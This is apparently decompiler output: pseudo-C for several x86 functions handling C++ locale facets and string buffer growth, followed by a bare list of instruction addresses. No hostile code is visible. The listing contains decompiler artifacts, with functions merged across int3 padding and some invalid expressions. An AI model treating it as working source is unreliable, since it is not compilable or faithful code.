				signed int _t478;
				signed int _t482;
				signed int _t484;
				void* _t486;
				void* _t488;
				void* _t489;
				signed int _t498;
				void* _t499;
				signed int _t501;
				void* _t502;
				void* _t504;
				void* _t505;
				signed int _t506;
				void* _t523;

				_t448 = __esi;
				_t417 = __edx;
				_t482 = _t498;
				_push(0xffffffff);
				_push(0x431c0c);
				_push( *[fs:0x0]);
				_t499 = _t498 - 0x48;
				_t215 =  *0x443048; // 0x7239e5fc
				_t216 = _t215 ^ _t482;
				_v20 = _t216;
				_push(__ebx);
				_push(__esi);
				_push(__edi);
				_push(_t216);
				 *[fs:0x0] =  &_v16;
				_t362 = _a4;
				_t375 =  &_v28;
				_v24 = _t362;
				E0041247D( &_v28, 0);
				_v8 = 0;
				_t431 =  *0x444fc8; // 0x0
				_t219 =  *0x444f44; // 0x0
				_v36 = _t219;
				if(_t431 == 0) {
					__ecx =  &_v32;
					__eax = E0041247D( &_v32, __edi);
					__eflags =  *0x444fc8 - __edi; // 0x0
					if(__eflags == 0) {
						__eax =  *0x444310; // 0x2
						__eax = __eax + 1;
						__eflags = __eax;
						 *0x444310 = __eax;
						 *0x444fc8 = __eax;
					}
					__ecx =  &_v32;
					__eax = E004124D5(__ecx);
					__edi =  *0x444fc8; // 0x0
				}
				_t25 =  &(_t362[1]); // 0x0
				_t376 =  *_t25;
				_t363 = _t431 * 4;
				__eflags = _t431 -  *((intOrPtr*)(_t376 + 0xc));
				if(_t431 >=  *((intOrPtr*)(_t376 + 0xc))) {
					_t449 = 0;
					__eflags = 0;
					goto L17;
				} else {
					_t449 =  *(_t363 +  *((intOrPtr*)(_t376 + 8)));
					__eflags = _t449;
					if(_t449 == 0) {
						L17:
						__eflags =  *((char*)(_t376 + 0x14));
						if( *((char*)(_t376 + 0x14)) == 0) {
							L20:
							__eflags = _t449;
							if(_t449 != 0) {
								goto L15;
							} else {
								goto L21;
							}
						} else {
							_t358 = E0041265A();
							__eflags = _t431 -  *((intOrPtr*)(_t358 + 0xc));
							if(_t431 >=  *((intOrPtr*)(_t358 + 0xc))) {
								L21:
								_t223 = _v36;
								__eflags = _t223;
								if(__eflags == 0) {
									_t449 = E0041362C(_t363, _t431, _t449, __eflags, 8);
									_t501 = _t499 + 4;
									_v36 = _t449;
									_t40 = _v24 + 4; // 0xd88b04c4
									_t226 =  *_t40;
									__eflags = _t226;
									if(_t226 == 0) {
										_t433 = 0x43e90c;
									} else {
										_t433 =  *(_t226 + 0x18);
										__eflags = _t433;
										if(_t433 == 0) {
											_t42 = _t226 + 0x1c; // 0xd88b04e0
											_t433 = _t42;
										}
									}
									E0041247D( &_v88, 0);
									_v84 = 0;
									_v80 = 0;
									_v76 = 0;
									_v72 = 0;
									_v68 = 0;
									_v64 = 0;
									_v60 = 0;
									_v56 = 0;
									_v52 = 0;
									_v48 = 0;
									_v44 = 0;
									_v40 = 0;
									_v8 = 8;
									__eflags = _t433;
									if(_t433 == 0) {
										E00412430("bad locale name");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										asm("int3");
										_push(_t482);
										_t484 = _t501;
										_push(0xffffffff);
										_push(0x431c55);
										_push( *[fs:0x0]);
										_t502 = _t501 - 0x14;
										_t231 =  *0x443048; // 0x7239e5fc
										_t232 = _t231 ^ _t484;
										_v124 = _t232;
										_push(_t363);
										_push(_t449);
										_push(_t433);
										_push(_t232);
										 *[fs:0x0] =  &_v120;
										_t451 = _v100;
										_v132 = _t451;
										E0041247D( &_v136, 0);
										_v112 = 0;
										_t434 =  *0x444fd0; // 0x0
										_t365 =  *0x444f40; // 0x0
										_v140 = _t365;
										__eflags = _t434;
										if(_t434 == 0) {
											E0041247D( &_v28, _t434);
											__eflags =  *0x444fd0 - _t434; // 0x0
											if(__eflags == 0) {
												_t336 =  *0x444310; // 0x2
												_t337 = _t336 + 1;
												__eflags = _t337;
												 *0x444310 = _t337;
												 *0x444fd0 = _t337;
											}
											E004124D5( &_v28);
											_t434 =  *0x444fd0; // 0x0
										}
										_t418 =  *(_t451 + 4);
										_t384 = _t434 * 4;
										_v28 = _t384;
										__eflags = _t434 -  *((intOrPtr*)(_t418 + 0xc));
										if(_t434 >=  *((intOrPtr*)(_t418 + 0xc))) {
											_t452 = 0;
											__eflags = 0;
											_v28 = _t384;
											goto L50;
										} else {
											_t452 =  *(_t384 +  *((intOrPtr*)(_t418 + 8)));
											__eflags = _t452;
											if(_t452 != 0) {
												L58:
												E004124D5( &_v36);
												 *[fs:0x0] = _v20;
												_pop(_t435);
												_pop(_t453);
												_pop(_t366);
												__eflags = _v24 ^ _t484;
												return E0041361E(_t452, _t366, _v24 ^ _t484, _t418, _t435, _t453);
											} else {
												L50:
												__eflags =  *((char*)(_t418 + 0x14));
												if( *((char*)(_t418 + 0x14)) == 0) {
													L53:
													__eflags = _t452;
													if(_t452 != 0) {
														goto L58;
													} else {
														goto L54;
													}
												} else {
													_t331 = E0041265A();
													__eflags = _t434 -  *((intOrPtr*)(_t331 + 0xc));
													if(_t434 >=  *((intOrPtr*)(_t331 + 0xc))) {
														L54:
														__eflags = _t365;
														if(_t365 == 0) {
															_t239 = E00408E80(_t365, _t434, _t452,  &_v40, _v32);
															_t504 = _t502 + 8;
															__eflags = _t239 - 0xffffffff;
															if(__eflags == 0) {
																_t240 = E00403390();
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																asm("int3");
																_push(_t484);
																_t486 = _t504;
																_push(_t452);
																_push(_t434);
																_t431 = _t418;
																_t454 = _t384;
																__eflags = _t454 - _t431;
																if(_t454 == _t431) {
																	L68:
																	return _t240;
																} else {
																	do {
																		_t390 =  *((intOrPtr*)(_t454 + 0x14));
																		__eflags = _t390 - 0x10;
																		if(_t390 < 0x10) {
																			goto L67;
																		} else {
																			_t241 =  *_t454;
																			_t391 = _t390 + 1;
																			__eflags = _t391 - 0x1000;
																			if(_t391 < 0x1000) {
																				L66:
																				_push(_t391);
																				_t240 = E004138AD(_t241);
																				_t504 = _t504 + 8;
																				goto L67;
																			} else {
																				_t419 =  *((intOrPtr*)(_t241 - 4));
																				_t391 =  &(_t391[8]);
																				__eflags = _t241 - _t419 + 0xfffffffc - 0x1f;
																				if(_t241 - _t419 + 0xfffffffc > 0x1f) {
																					E0041805F(_t365, _t391, _t419);
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					asm("int3");
																					_push(_t486);
																					_t488 = _t504;
																					_t505 = _t504 - 0xc;
																					_push(_t365);
																					_t367 = _t391;
																					_t392 = 0x7fffffff;
																					_push(_t454);
																					_t456 = _v160;
																					_t420 = _t367[4];
																					_v172 = _t420;
																					_push(_t431);
																					__eflags = 0x7fffffff - _t420 - _t456;
																					if(0x7fffffff - _t420 < _t456) {
																						E00401BD0(_t367, 0x7fffffff, _t420);
																						goto L91;
																					} else {
																						_t431 = _t367[5];
																						_t313 = _t420 + _t456;
																						_v28 = _t313;
																						_t476 = _t313 | 0x0000000f;
																						_v24 = _t431;
																						__eflags = _t476 - 0x7fffffff;
																						if(_t476 <= 0x7fffffff) {
																							_t315 = _t431 >> 1;
																							_t392 = 0x7fffffff - _t315;
																							__eflags = _t431 - _t392;
																							if(_t431 <= _t392) {
																								_t316 = _t315 + _t431;
																								__eflags = _t476 - _t316;
																								_t456 =  <  ? _t316 : _t476;
																								_t121 = _t456 + 1; // 0x80000000
																								_t392 = _t121;
																								__eflags = _t392 - 0x1000;
																								if(_t392 < 0x1000) {
																									__eflags = _t392;
																									if(__eflags == 0) {
																										_t431 = 0;
																										__eflags = 0;
																									} else {
																										_t325 = E0041362C(_t367, _t431, _t456, __eflags, _t392);
																										_t420 = _v20;
																										_t505 = _t505 + 4;
																										_t431 = _t325;
																									}
																									goto L84;
																								} else {
																									_t122 = _t392 + 0x23; // 0x80000023
																									_t326 = _t122;
																									__eflags = _t122 - _t392;
																									if(__eflags <= 0) {
																										L91:
																										E00401B30();
																										goto L92;
																									} else {
																										goto L74;
																									}
																								}
																							} else {
																								_t456 = 0x7fffffff;
																								goto L73;
																							}
																						} else {
																							_t456 = 0x7fffffff;
																							L73:
																							_t326 = 0xffffffff80000023;
																							__eflags = 0x80000000;
																							L74:
																							_t327 = E0041362C(_t367, _t431, _t456, __eflags, _t326);
																							_t505 = _t505 + 4;
																							__eflags = _t327;
																							if(_t327 == 0) {
																								L92:
																								E0041805F(_t367, _t392, _t420);
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								asm("int3");
																								_push(_t488);
																								_t489 = _t505;
																								_t506 = _t505 - 0x14;
																								_push(_t367);
																								_t368 = _t392;
																								_t393 = 0x7fffffff;
																								_push(_t456);
																								_t457 = _v184;
																								_t421 = _t368[4];
																								_v196 = _t421;
																								_push(_t431);
																								__eflags = 0x7fffffff - _t421 - _t457;
																								if(0x7fffffff - _t421 < _t457) {
																									E00401BD0(_t368, 0x7fffffff, _t421);
																									goto L114;
																								} else {
																									_t431 = _t368[5];
																									_t290 = _t421 + _t457;
																									_v28 = _t290;
																									_t470 = _t290 | 0x0000000f;
																									_v32 = _t431;
																									__eflags = _t470 - 0x7fffffff;
																									if(_t470 <= 0x7fffffff) {
																										_t292 = _t431 >> 1;
																										_t393 = 0x7fffffff - _t292;
																										__eflags = _t431 - _t393;
																										if(_t431 <= _t393) {
																											_t293 = _t292 + _t431;
																											__eflags = _t470 - _t293;
																											_t457 =  <  ? _t293 : _t470;
																											_t151 = _t457 + 1; // 0x80000000
																											_t393 = _t151;
																											__eflags = _t393 - 0x1000;
																											if(_t393 < 0x1000) {
																												__eflags = _t393;
																												if(__eflags == 0) {
																													_t431 = 0;
																													__eflags = 0;
																												} else {
																													_t309 = E0041362C(_t368, _t431, _t457, __eflags, _t393);
																													_t421 = _v24;
																													_t506 = _t506 + 4;
																													_t431 = _t309;
																												}
																												goto L107;
																											} else {
																												_t152 = _t393 + 0x23; // 0x80000023
																												_t310 = _t152;
																												__eflags = _t152 - _t393;
																												if(__eflags <= 0) {
																													L114:
																													E00401B30();
																													goto L115;
																												} else {
																													goto L97;
																												}
																											}
																										} else {
																											_t457 = 0x7fffffff;
																											goto L96;
																										}
																									} else {
																										_t457 = 0x7fffffff;
																										L96:
																										_t310 = 0xffffffff80000023;
																										__eflags = 0x80000000;
																										L97:
																										_t311 = E0041362C(_t368, _t431, _t457, __eflags, _t310);
																										_t506 = _t506 + 4;
																										__eflags = _t311;
																										if(_t311 == 0) {
																											L115:
																											E0041805F(_t368, _t393, _t421);
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											asm("int3");
																											_push(_t489);
																											_t482 = _t506;
																											_t499 = _t506 - 0x10;
																											_push(_t368);
																											_t362 = _t393;
																											_t394 = 0x7fffffff;
																											_push(_t457);
																											_t448 = _v216;
																											_t422 = _t362[4];
																											_v228 = _t422;
																											_push(_t431);
																											__eflags = 0x7fffffff - _t422 - _t448;
																											if(0x7fffffff - _t422 < _t448) {
																												E00401BD0(_t362, 0x7fffffff, _t422);
																												goto L137;
																											} else {
																												_t431 = _t362[5];
																												_t268 = _t422 + _t448;
																												_v32 = _t268;
																												_t464 = _t268 | 0x0000000f;
																												_v36 = _t431;
																												__eflags = _t464 - 0x7fffffff;
																												if(_t464 <= 0x7fffffff) {
																													_t270 = _t431 >> 1;
																													_t394 = 0x7fffffff - _t270;
																													__eflags = _t431 - _t394;
																													if(_t431 <= _t394) {
																														_t271 = _t270 + _t431;
																														__eflags = _t464 - _t271;
																														_t448 =  <  ? _t271 : _t464;
																														_t191 = _t448 + 1; // 0x80000000
																														_t394 = _t191;
																														__eflags = _t394 - 0x1000;
																														if(_t394 < 0x1000) {
																															__eflags = _t394;
																															if(__eflags == 0) {
																																_t431 = 0;
																																__eflags = 0;
																															} else {
																																_t286 = E0041362C(_t362, _t431, _t448, __eflags, _t394);
																																_t422 = _v28;
																																_t499 = _t499 + 4;
																																_t431 = _t286;
																															}
																															goto L130;
																														} else {
																															_t192 = _t394 + 0x23; // 0x80000023
																															_t287 = _t192;
																															__eflags = _t192 - _t394;
																															if(__eflags <= 0) {
																																L137:
																																E00401B30();
																																goto L138;
																															} else {
																																goto L120;
																															}
																														}
																													} else {
																														_t448 = 0x7fffffff;
																														goto L119;
																													}
																												} else {
																													_t448 = 0x7fffffff;
																													L119:
																													_t287 = 0xffffffff80000023;
																													__eflags = 0x80000000;
																													L120:
																													_t288 = E0041362C(_t362, _t431, _t448, __eflags, _t287);
																													_t499 = _t499 + 4;
																													__eflags = _t288;
																													if(_t288 == 0) {
																														L138:
																														_t219 = E0041805F(_t362, _t394, _t422);
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														asm("int3");
																														_t375 =  *_t394;
																														__eflags = _t375;
																														if(_t375 != 0) {
																															_push(_t431);
																															_t437 = _t375;
																															_t395 =  *_t437;
																															if(_t395 == 0) {
																																L6:
																																return _t219;
																															} else {
																																_push(_t448);
																																_push(_t395);
																																L60();
																																_t458 =  *_t437;
																																_t399 = (0x2aaaaaab * ( *(_t437 + 8) - _t458) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * ( *(_t437 + 8) - _t458) >> 0x20 >> 2) + ((0x2aaaaaab * ( *(_t437 + 8) - _t458) >> 0x20 >> 2 >> 0x1f) + (0x2aaaaaab * ( *(_t437 + 8) - _t458) >> 0x20 >> 2)) * 2 << 3;
																																if(_t399 < 0x1000) {
																																	L5:
																																	_push(_t399);
																																	_t219 = E004138AD(_t458);
																																	 *_t437 = 0;
																																	 *(_t437 + 4) = 0;
																																	 *(_t437 + 8) = 0;
																																	goto L6;
																																} else {
																																	_t426 =  *((intOrPtr*)(_t458 - 4));
																																	_t399 = _t399 + 0x23;
																																	_t460 = _t458 - _t426;
																																	if(_t460 - 4 > 0x1f) {
																																		E0041805F(_t362, _t399, _t426);
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		asm("int3");
																																		_push(_t482);
																																		__eflags = _v252 & 0x00000001;
																																		_push(_t460);
																																		_t461 = _t399;
																																		 *_t461 = 0x4337e4;
																																		if((_v252 & 0x00000001) != 0) {
																																			_push(8);
																																			E004138AD(_t461);
																																		}
																																		return _t461;
																																	} else {
																																		_t458 = _t426;
																																		goto L5;
																																	}
																																}
																															}
																														} else {
																															return _t219;
																														}
																													} else {
																														_t422 = _v28;
																														_t189 = _t288 + 0x23; // 0x23
																														_t431 = _t189 & 0xffffffe0;
																														 *(_t431 - 4) = _t288;
																														L130:
																														_t362[4] = _v32;
																														_v28 = _v4;
																														_t362[5] = _t448;
																														_t465 = _t431 + _t422;
																														_v40 = _t465;
																														__eflags = _v36 - 0x10;
																														_v32 = _v8 + _t465;
																														_push(_t422);
																														if(_v36 < 0x10) {
																															_push(_t362);
																															_push(_t431);
																															E00414BF0();
																															E00415180(_t431, _t465, _v28, _v8);
																															 *_v32 = 0;
																															 *_t362 = _t431;
																															return _t362;
																														} else {
																															_t467 =  *_t362;
																															_push(_t467);
																															_push(_t431);
																															E00414BF0();
																															E00415180(_t431, _v40, _v28, _v8);
																															_t499 = _t499 + 0x18;
																															_t401 = _v36 + 1;
																															 *_v32 = 0;
																															__eflags = _t401 - 0x1000;
																															if(_t401 < 0x1000) {
																																L134:
																																_push(_t401);
																																E004138AD(_t467);
																																 *_t362 = _t431;
																																return _t362;
																															} else {
																																_t422 =  *(_t467 - 4);
																																_t394 = _t401 + 0x23;
																																_t448 = _t467 - _t422;
																																_t210 = _t448 - 4; // 0x7ffffffb
																																__eflags = _t210 - 0x1f;
																																if(_t210 > 0x1f) {
																																	goto L138;
																																} else {
																																	_t467 = _t422;
																																	goto L134;
																																}
																															}
																														}
																													}
																												}
																											}
																										} else {
																											_t421 = _v24;
																											_t149 = _t311 + 0x23; // 0x23
																											_t431 = _t149 & 0xffffffe0;
																											 *(_t431 - 4) = _t311;
																											L107:
																											_t368[4] = _v28;
																											_v24 = _a4;
																											_t296 = _v4;
																											_t368[5] = _t457;
																											_push(_t296);
																											_v36 = _t421 - _t296 + 1;
																											_t471 = _t431 + _t296;
																											_v40 = _t471;
																											__eflags = _v32 - 0x10;
																											_v28 = _v0 + _t471;
																											if(_v32 < 0x10) {
																												_push(_t368);
																												_push(_t431);
																												E00414BF0();
																												E00415180(_t431, _t471, _v24, _v0);
																												__eflags = _v4 + _t368;
																												E00414BF0(_v28, _v4 + _t368, _v36);
																												 *_t368 = _t431;
																												return _t368;
																											} else {
																												_t473 =  *_t368;
																												_push(_t473);
																												_push(_t431);
																												E00414BF0();
																												E00415180(_t431, _v40, _v24, _v0);
																												E00414BF0(_v28, _v4 + _t473, _v36);
																												_t506 = _t506 + 0x24;
																												_t408 = _v32 + 1;
																												__eflags = _t408 - 0x1000;
																												if(_t408 < 0x1000) {
																													L111:
																													_push(_t408);
																													E004138AD(_t473);
																													 *_t368 = _t431;
																													return _t368;
																												} else {
																													_t421 =  *(_t473 - 4);
																													_t393 = _t408 + 0x23;
																													_t457 = _t473 - _t421;
																													_t175 = _t457 - 4; // 0x7ffffffb
																													__eflags = _t175 - 0x1f;
																													if(_t175 > 0x1f) {
																														goto L115;
																													} else {
																														_t473 = _t421;
																														goto L111;
																													}
																												}
																											}
																										}
																									}
																								}
																							} else {
																								_t420 = _v20;
																								_t119 = _t327 + 0x23; // 0x23
																								_t431 = _t119 & 0xffffffe0;
																								 *(_t431 - 4) = _t327;
																								L84:
																								__eflags = _v24 - 0x10;
																								_t367[4] = _v28;
																								_t367[5] = _t456;
																								_push(_t420);
																								if(_v24 < 0x10) {
																									_push(_t367);
																									_push(_t431);
																									E00414BF0();
																									_t428 = _v20;
																									 *((char*)(_t431 + _t428)) = _v0;
																									 *((char*)(_t431 + _t428 + 1)) = 0;
																									 *_t367 = _t431;
																									return _t367;
																								} else {
																									_t478 =  *_t367;
																									_push(_t478);
																									_push(_t431);
																									E00414BF0();
																									_t429 = _v20;
																									_t505 = _t505 + 0xc;
																									_t411 = _v24 + 1;
																									 *((char*)(_t431 + _t429)) = _v0;
																									 *((char*)(_t431 + _t429 + 1)) = 0;
																									__eflags = _t411 - 0x1000;
																									if(_t411 < 0x1000) {
																										L88:
																										_push(_t411);
																										E004138AD(_t478);
																										 *_t367 = _t431;
																										return _t367;
																									} else {
																										_t420 =  *(_t478 - 4);
																										_t392 = _t411 + 0x23;
																										_t456 = _t478 - _t420;
																										_t135 = _t456 - 4; // 0x7ffffffb
																										__eflags = _t135 - 0x1f;
																										if(_t135 > 0x1f) {
																											goto L92;
																										} else {
																											_t478 = _t420;
																											goto L88;
																										}
																									}
																								}
																							}
																						}
																					}
																				} else {
																					_t241 = _t419;
																					goto L66;
																				}
																			}
																		}
																		goto L141;
																		L67:
																		 *(_t454 + 0x10) = 0;
																		 *((intOrPtr*)(_t454 + 0x14)) = 0xf;
																		 *_t454 = 0;
																		_t454 = _t454 + 0x18;
																		__eflags = _t454 - _t431;
																	} while (_t454 != _t431);
																	goto L68;
																}
															} else {
																_t452 = _v40;
																_v32 = _t452;
																_v12 = 1;
																E0041262E(__eflags, _t452);
																_t418 =  *_t452;
																 *((intOrPtr*)( *_t452 + 4))();
																 *0x444f40 = _t452;
																goto L58;
															}
														} else {
															_t452 = _t365;
															goto L58;
														}
													} else {
														_t452 =  *(_v28 +  *((intOrPtr*)(_t331 + 8)));
														goto L53;
													}
												}
											}
										}
									} else {
										E00412760( &_v88,  &_v88, _t433);
										 *(_t449 + 4) = 0;
										 *_t449 = 0x434418;
										_v8 = 9;
										E004127AB( &_v88,  &_v88);
										_t342 = _v44;
										_t523 = _t501 + 0xc;
										__eflags = _t342;
										if(_t342 != 0) {
											E0041AC1E(_t342);
											_t523 = _t523 + 4;
										}
										_t343 = _v52;
										_v44 = 0;
										__eflags = _t343;
										if(_t343 != 0) {
											E0041AC1E(_t343);
											_t523 = _t523 + 4;
										}
										_t344 = _v60;
										_v52 = 0;
										__eflags = _t344;
										if(_t344 != 0) {
											E0041AC1E(_t344);
											_t523 = _t523 + 4;
										}
										_t345 = _v68;
										_v60 = 0;
										__eflags = _t345;
										if(_t345 != 0) {
											E0041AC1E(_t345);
											_t523 = _t523 + 4;
										}
										_t346 = _v76;
										_v68 = 0;
										__eflags = _t346;
										if(_t346 != 0) {
											E0041AC1E(_t346);
											_t523 = _t523 + 4;
										}
										_t347 = _v84;
										_v76 = 0;
										__eflags = _t347;
										if(_t347 != 0) {
											E0041AC1E(_t347);
											_t523 = _t523 + 4;
										}
										_v84 = 0;
										E004124D5( &_v88);
										_v24 = _t449;
										_v8 = 0xa;
										E0041262E(__eflags, _t449);
										 *((intOrPtr*)( *_t449 + 4))();
										 *0x444f44 = _t449;
										goto L15;
									}
								} else {
									_t449 = _t223;
									goto L15;
								}
							} else {
								_t449 =  *(_t363 +  *((intOrPtr*)(_t358 + 8)));
								goto L20;
							}
						}
					} else {
						L15:
						E004124D5( &_v28);
						 *[fs:0x0] = _v16;
						_pop(_t432);
						_pop(_t450);
						_pop(_t364);
						__eflags = _v20 ^ _t482;
						return E0041361E(_t449, _t364, _v20 ^ _t482, _t417, _t432, _t450);
					}
				}
				L141:
			}

0x00408650
0x00408650
0x00408651
0x00408653
0x00408655
0x00408660
0x00408661
0x00408664
0x00408669
0x0040866b
0x0040866e
0x0040866f
0x00408670
0x00408671
0x00408675
0x0040867b
0x0040867e
0x00408683
0x00408686
0x0040868b
0x00408692
0x00408698
0x0040869d
0x004086a2
0x004086a5
0x004086a8
0x004086ad
0x004086b3
0x004086b5
0x004086ba
0x004086ba
0x004086bb
0x004086c0
0x004086c0
0x004086c5
0x004086c8
0x004086cd
0x004086cd
0x004086d3
0x004086d3
0x004086d6
0x004086dd
0x004086e0
0x00408712
0x00408712
0x00000000
0x004086e2
0x004086e5
0x004086e8
0x004086ea
0x00408714
0x00408714
0x00408718
0x0040872a
0x0040872a
0x0040872c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040871a
0x0040871a
0x0040871f
0x00408722
0x0040872e
0x0040872e
0x00408731
0x00408733
0x00408740
0x00408742
0x00408745
0x0040874b
0x0040874b
0x0040874e
0x00408750
0x0040875e
0x00408752
0x00408752
0x00408755
0x00408757
0x00408759
0x00408759
0x00408759
0x00408757
0x00408768
0x0040876d
0x00408774
0x00408778
0x0040877f
0x00408785
0x0040878c
0x00408790
0x00408793
0x00408797
0x0040879a
0x0040879d
0x004087a0
0x004087a3
0x004087a7
0x004087a9
0x0040888f
0x00408894
0x00408895
0x00408896
0x00408897
0x00408898
0x00408899
0x0040889a
0x0040889b
0x0040889c
0x0040889d
0x0040889e
0x0040889f
0x004088a0
0x004088a1
0x004088a3
0x004088a5
0x004088b0
0x004088b1
0x004088b4
0x004088b9
0x004088bb
0x004088be
0x004088bf
0x004088c0
0x004088c1
0x004088c5
0x004088cb
0x004088d3
0x004088d6
0x004088db
0x004088e2
0x004088e8
0x004088ee
0x004088f1
0x004088f3
0x004088f9
0x004088fe
0x00408904
0x00408906
0x0040890b
0x0040890b
0x0040890c
0x00408911
0x00408911
0x00408919
0x0040891e
0x0040891e
0x00408924
0x00408927
0x0040892e
0x00408931
0x00408934
0x00408942
0x00408942
0x00408944
0x00000000
0x00408936
0x00408939
0x0040893c
0x0040893e
0x004089a0
0x004089a3
0x004089ad
0x004089b5
0x004089b6
0x004089b7
0x004089bb
0x004089c5
0x00408940
0x00408947
0x00408947
0x0040894b
0x00408960
0x00408960
0x00408962
0x00000000
0x00000000
0x00000000
0x00000000
0x0040894d
0x0040894d
0x00408952
0x00408955
0x00408964
0x00408964
0x00408966
0x00408973
0x00408978
0x0040897b
0x0040897e
0x004089c6
0x004089cb
0x004089cc
0x004089cd
0x004089ce
0x004089cf
0x004089d0
0x004089d1
0x004089d3
0x004089d4
0x004089d5
0x004089d7
0x004089d9
0x004089db
0x00408a27
0x00408a2a
0x004089e0
0x004089e0
0x004089e0
0x004089e3
0x004089e6
0x00000000
0x004089e8
0x004089e8
0x004089ea
0x004089eb
0x004089f1
0x00408a05
0x00408a05
0x00408a07
0x00408a0c
0x00000000
0x004089f3
0x004089f3
0x004089f6
0x004089fe
0x00408a01
0x00408a2b
0x00408a30
0x00408a31
0x00408a32
0x00408a33
0x00408a34
0x00408a35
0x00408a36
0x00408a37
0x00408a38
0x00408a39
0x00408a3a
0x00408a3b
0x00408a3c
0x00408a3d
0x00408a3e
0x00408a3f
0x00408a40
0x00408a41
0x00408a43
0x00408a46
0x00408a47
0x00408a49
0x00408a50
0x00408a51
0x00408a54
0x00408a59
0x00408a5c
0x00408a5d
0x00408a5f
0x00408b6d
0x00000000
0x00408a65
0x00408a65
0x00408a68
0x00408a6d
0x00408a70
0x00408a73
0x00408a76
0x00408a78
0x00408aa5
0x00408aa7
0x00408aa9
0x00408aab
0x00408ab4
0x00408ab6
0x00408ab8
0x00408abb
0x00408abb
0x00408abe
0x00408ac4
0x00408ad3
0x00408ad5
0x00408ae7
0x00408ae7
0x00408ad7
0x00408ad8
0x00408add
0x00408ae0
0x00408ae3
0x00408ae3
0x00000000
0x00408ac6
0x00408ac6
0x00408ac6
0x00408ac9
0x00408acb
0x00408b72
0x00408b72
0x00000000
0x00408ad1
0x00000000
0x00408ad1
0x00408acb
0x00408aad
0x00408aad
0x00000000
0x00408aad
0x00408a7a
0x00408a7a
0x00408a7c
0x00408a81
0x00408a81
0x00408a84
0x00408a85
0x00408a8a
0x00408a8d
0x00408a8f
0x00408b77
0x00408b77
0x00408b7c
0x00408b7d
0x00408b7e
0x00408b7f
0x00408b80
0x00408b81
0x00408b83
0x00408b86
0x00408b87
0x00408b89
0x00408b90
0x00408b91
0x00408b94
0x00408b99
0x00408b9c
0x00408b9d
0x00408b9f
0x00408ced
0x00000000
0x00408ba5
0x00408ba5
0x00408ba8
0x00408bad
0x00408bb0
0x00408bb3
0x00408bb6
0x00408bb8
0x00408be5
0x00408be7
0x00408be9
0x00408beb
0x00408bf4
0x00408bf6
0x00408bf8
0x00408bfb
0x00408bfb
0x00408bfe
0x00408c04
0x00408c13
0x00408c15
0x00408c27
0x00408c27
0x00408c17
0x00408c18
0x00408c1d
0x00408c20
0x00408c23
0x00408c23
0x00000000
0x00408c06
0x00408c06
0x00408c06
0x00408c09
0x00408c0b
0x00408cf2
0x00408cf2
0x00000000
0x00408c11
0x00000000
0x00408c11
0x00408c0b
0x00408bed
0x00408bed
0x00000000
0x00408bed
0x00408bba
0x00408bba
0x00408bbc
0x00408bc1
0x00408bc1
0x00408bc4
0x00408bc5
0x00408bca
0x00408bcd
0x00408bcf
0x00408cf7
0x00408cf7
0x00408cfc
0x00408cfd
0x00408cfe
0x00408cff
0x00408d00
0x00408d01
0x00408d03
0x00408d06
0x00408d07
0x00408d09
0x00408d10
0x00408d11
0x00408d14
0x00408d19
0x00408d1c
0x00408d1d
0x00408d1f
0x00408e4c
0x00000000
0x00408d25
0x00408d25
0x00408d28
0x00408d2d
0x00408d30
0x00408d33
0x00408d36
0x00408d38
0x00408d65
0x00408d67
0x00408d69
0x00408d6b
0x00408d74
0x00408d76
0x00408d78
0x00408d7b
0x00408d7b
0x00408d7e
0x00408d84
0x00408d93
0x00408d95
0x00408da7
0x00408da7
0x00408d97
0x00408d98
0x00408d9d
0x00408da0
0x00408da3
0x00408da3
0x00000000
0x00408d86
0x00408d86
0x00408d86
0x00408d89
0x00408d8b
0x00408e51
0x00408e51
0x00000000
0x00408d91
0x00000000
0x00408d91
0x00408d8b
0x00408d6d
0x00408d6d
0x00000000
0x00408d6d
0x00408d3a
0x00408d3a
0x00408d3c
0x00408d41
0x00408d41
0x00408d44
0x00408d45
0x00408d4a
0x00408d4d
0x00408d4f
0x00408e56
0x00408e56
0x00408e5b
0x00408e5c
0x00408e5d
0x00408e5e
0x00408e5f
0x00408e60
0x00408e62
0x00408e64
0x004071d0
0x004071d1
0x004071d3
0x004071d7
0x0040723d
0x0040723e
0x004071d9
0x004071dc
0x004071dd
0x004071de
0x004071eb
0x00407201
0x0040720a
0x0040721e
0x0040721e
0x00407220
0x00407228
0x0040722e
0x00407235
0x00000000
0x0040720c
0x0040720c
0x0040720f
0x00407212
0x0040721a
0x0040723f
0x00407244
0x00407245
0x00407246
0x00407247
0x00407248
0x00407249
0x0040724a
0x0040724b
0x0040724c
0x0040724d
0x0040724e
0x0040724f
0x00407250
0x00407253
0x00407257
0x00407258
0x0040725a
0x00407260
0x00407262
0x00407265
0x0040726a
0x00407271
0x0040721c
0x0040721c
0x00000000
0x0040721c
0x0040721a
0x0040720a
0x00408e6a
0x00408e6a
0x00408e6a
0x00408d55
0x00408d55
0x00408d58
0x00408d5b
0x00408d5e
0x00408da9
0x00408dac
0x00408db3
0x00408db9
0x00408dbc
0x00408dc1
0x00408dc4
0x00408dc8
0x00408dcb
0x00408dcc
0x00408e23
0x00408e24
0x00408e25
0x00408e31
0x00408e3c
0x00408e41
0x00408e49
0x00408dce
0x00408dce
0x00408dd0
0x00408dd1
0x00408dd2
0x00408de0
0x00408de8
0x00408dee
0x00408def
0x00408df2
0x00408df8
0x00408e0c
0x00408e0c
0x00408e0e
0x00408e16
0x00408e20
0x00408dfa
0x00408dfa
0x00408dfd
0x00408e00
0x00408e02
0x00408e05
0x00408e08
0x00000000
0x00408e0a
0x00408e0a
0x00000000
0x00408e0a
0x00408e08
0x00408df8
0x00408dcc
0x00408d4f
0x00408d38
